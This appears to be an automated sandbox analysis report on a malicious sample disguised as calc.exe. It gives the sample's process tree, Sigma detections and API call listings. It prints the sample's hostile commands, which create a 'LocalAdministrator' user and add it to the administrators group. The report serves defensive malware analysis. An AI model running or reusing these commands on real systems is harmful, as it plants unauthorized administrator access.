Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
calc.exe

Overview

General Information

Sample name:calc.exe
Analysis ID:1523635
MD5:2f9fdad776d8626f2ce8625211831e91
SHA1:21d8413eb0d60b36fc249f8025c277b557fefde3
SHA256:9b66a8ea0f1c64965b06e7a45afbe56f2d4e6d5ef65f32446defccbebe730813
Infos:

Detection

Score:64
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Adds a new user with administrator rights
Machine Learning detection for sample
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Suspicious Calculator Usage
Sigma detected: Suspicious Process Parents
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Add User to Local Administrators Group
Sigma detected: New User Created Via Net.EXE
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • calc.exe (PID: 5072 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
    • wscript.exe (PID: 6080 cmdline: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse MD5: FF00E0480075B095948000BDC66E81F0)
      • net.exe (PID: 4364 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
        • conhost.exe (PID: 5912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • net1.exe (PID: 2448 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
      • net.exe (PID: 6448 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
        • conhost.exe (PID: 2740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • net1.exe (PID: 1664 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
      • calc.exe (PID: 3928 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
        • wscript.exe (PID: 4256 cmdline: "C:\Windows\System32\wscript.exe" IDsLsRQlEe.jse MD5: FF00E0480075B095948000BDC66E81F0)
          • net.exe (PID: 1492 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
            • conhost.exe (PID: 4620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • net1.exe (PID: 3384 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
          • net.exe (PID: 948 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
            • conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • net1.exe (PID: 5704 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
          • calc.exe (PID: 4412 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
            • wscript.exe (PID: 2872 cmdline: "C:\Windows\System32\wscript.exe" cNs6XgJUw5.jse MD5: FF00E0480075B095948000BDC66E81F0)
              • net.exe (PID: 6684 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                • conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • net1.exe (PID: 4828 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
              • net.exe (PID: 5696 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                • conhost.exe (PID: 2196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • net1.exe (PID: 5752 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
              • calc.exe (PID: 5356 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
                • wscript.exe (PID: 5072 cmdline: "C:\Windows\System32\wscript.exe" rbLiDVEIXX.jse MD5: FF00E0480075B095948000BDC66E81F0)
    • net.exe (PID: 1664 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
      • conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • net1.exe (PID: 6420 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
    • net.exe (PID: 6232 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
      • conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • net1.exe (PID: 6208 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
    • calc.exe (PID: 6060 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
      • wscript.exe (PID: 5536 cmdline: "C:\Windows\System32\wscript.exe" iy4J2BVXGi.jse MD5: FF00E0480075B095948000BDC66E81F0)
        • net.exe (PID: 6600 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
          • conhost.exe (PID: 5764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • net1.exe (PID: 6536 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
        • net.exe (PID: 5704 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
          • conhost.exe (PID: 972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • net1.exe (PID: 7148 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
        • calc.exe (PID: 5920 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
          • wscript.exe (PID: 5492 cmdline: "C:\Windows\System32\wscript.exe" G0MZ6GMwly.jse MD5: FF00E0480075B095948000BDC66E81F0)
            • net.exe (PID: 1484 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
              • conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • net1.exe (PID: 5768 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
            • net.exe (PID: 672 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
              • conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • net1.exe (PID: 3532 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
            • calc.exe (PID: 5696 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
              • wscript.exe (PID: 4156 cmdline: "C:\Windows\System32\wscript.exe" fevGSHOMU4.jse MD5: FF00E0480075B095948000BDC66E81F0)
                • net.exe (PID: 1924 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                  • conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\SysWOW64\wscript.exe, SourceProcessId: 5072, StartAddress: F7FEB0, TargetImage: C:\Users\user\Desktop\calc.exe, TargetProcessId: 5072
Sigma detected: Suspicious Calculator Usage
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\calc.exe", CommandLine: "C:\Users\user\Desktop\calc.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\calc.exe, NewProcessName: C:\Users\user\Desktop\calc.exe, OriginalFileName: C:\Users\user\Desktop\calc.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\user\Desktop\calc.exe", ProcessId: 5072, ProcessName: calc.exe
Sigma detected: Suspicious Process Parents
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, CommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\calc.exe", ParentImage: C:\Users\user\Desktop\calc.exe, ParentProcessId: 5072, ParentProcessName: calc.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, ProcessId: 6080, ProcessName: wscript.exe
Sigma detected: Add User to Local Administrators Group
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 6080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, ProcessId: 6448, ProcessName: net.exe
Sigma detected: New User Created Via Net.EXE
Source: Process startedAuthor: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 6080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, ProcessId: 4364, ProcessName: net.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, CommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\calc.exe", ParentImage: C:\Users\user\Desktop\calc.exe, ParentProcessId: 5072, ParentProcessName: calc.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, ProcessId: 6080, ProcessName: wscript.exe
Sigma detected: Net.exe Execution
Source: Process startedAuthor: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 6080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, ProcessId: 4364, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Machine Learning detection for sample
Source: calc.exeJoe Sandbox ML: detected
Source: calc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,0_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042320D FindFirstFileW,FindClose,0_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425838 FindFirstFileW,FindNextFileW,FindClose,0_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,0_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,7_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042320D FindFirstFileW,FindClose,7_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,7_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425838 FindFirstFileW,FindNextFileW,FindClose,7_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,7_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,7_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,7_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A322 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,CloseClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0042A322
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A4F2 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0042A4F2
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042A4F2 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,7_2_0042A4F2
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A322 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,CloseClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0042A322
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041111C GetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_0041111C
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004045EC GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,GetWindowRect,GetWindowRect,MoveWindow,GetCursorPos,GetCursorPos,TrackPopupMenuEx,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,SetCapture,CharUpperBuffW,ClientToScreen,InvalidateRect,PostMessageW,GetMenuItemInfoW,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,FreeLibrary,DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,ReleaseCapture,SetWindowTextW,SendMessageW,CharUpperBuffW,CharUpperBuffW,ClientToScreen,0_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004045EC GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,GetWindowRect,GetWindowRect,MoveWindow,GetCursorPos,GetCursorPos,TrackPopupMenuEx,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,GetWindowLongW,SendMessageW,SetCapture,CharUpperBuffW,ClientToScreen,InvalidateRect,PostMessageW,GetMenuItemInfoW,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,FreeLibrary,DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,ReleaseCapture,SetWindowTextW,SendMessageW,CharUpperBuffW,CharUpperBuffW,ClientToScreen,7_2_004045EC

System Summary

barindex
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0040165B SetFocus,MoveWindow,KillTimer,PostQuitMessage,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,NtdllDefWindowProc_W,7_2_0040165B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0040D33A NtdllDefWindowProc_W,SendMessageW,GetSysColorBrush,GetClientRect,SetViewportOrgEx,SetViewportOrgEx,FillRect,SetViewportOrgEx,GetDlgItem,IsWindowEnabled,MessageBeep,PostMessageW,GetFocus,GetNextDlgTabItem,SystemParametersInfoW,GetWindowRect,SubtractRect,OffsetRect,OffsetRect,OffsetRect,OffsetRect,OffsetRect,MoveWindow,GlobalFindAtomW,GlobalFindAtomW,GlobalFindAtomW,GetClassWord,GetClassWord,SendMessageW,GetClassWord,GetParent,GetParent,GetClassWord,GetParent,SendMessageW,NtdllDefWindowProc_W,7_2_0040D33A
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00424856: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,0_2_00424856
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,0_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,7_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043244B0_2_0043244B
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004422B60_2_004422B6
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004443170_2_00444317
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043A4420_2_0043A442
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043E46A0_2_0043E46A
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004045EC0_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044E6160_2_0044E616
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004487760_2_00448776
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044D7D40_2_0044D7D4
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004568240_2_00456824
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004419610_2_00441961
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00442AF90_2_00442AF9
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00420D890_2_00420D89
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00421E0D0_2_00421E0D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00450F740_2_00450F74
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043244B7_2_0043244B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004422B67_2_004422B6
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004443177_2_00444317
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043A4427_2_0043A442
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043E46A7_2_0043E46A
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004045EC7_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044E6167_2_0044E616
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004487767_2_00448776
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044D7D47_2_0044D7D4
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004568247_2_00456824
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004419617_2_00441961
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00442AF97_2_00442AF9
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00420D897_2_00420D89
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00421E0D7_2_00421E0D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00450F747_2_00450F74
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C2B2 appears 32 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044D788 appears 106 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C626 appears 44 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044943D appears 32 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00416BFE appears 162 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00409CDF appears 38 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C070 appears 90 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044907D appears 42 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00418AD9 appears 36 times
Source: calc.exe, 00000000.00000003.2164078322.00000000005C4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.2164038654.00000000005C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.2164002590.00000000005A7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.2173902045.0000000000719000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.2173809537.0000000000712000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000010.00000003.2185972443.0000000000657000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000010.00000003.2186029001.000000000065D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000018.00000003.2197496172.00000000006F6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000018.00000003.2197567210.00000000006FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 0000001F.00000003.2215441872.00000000008C7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
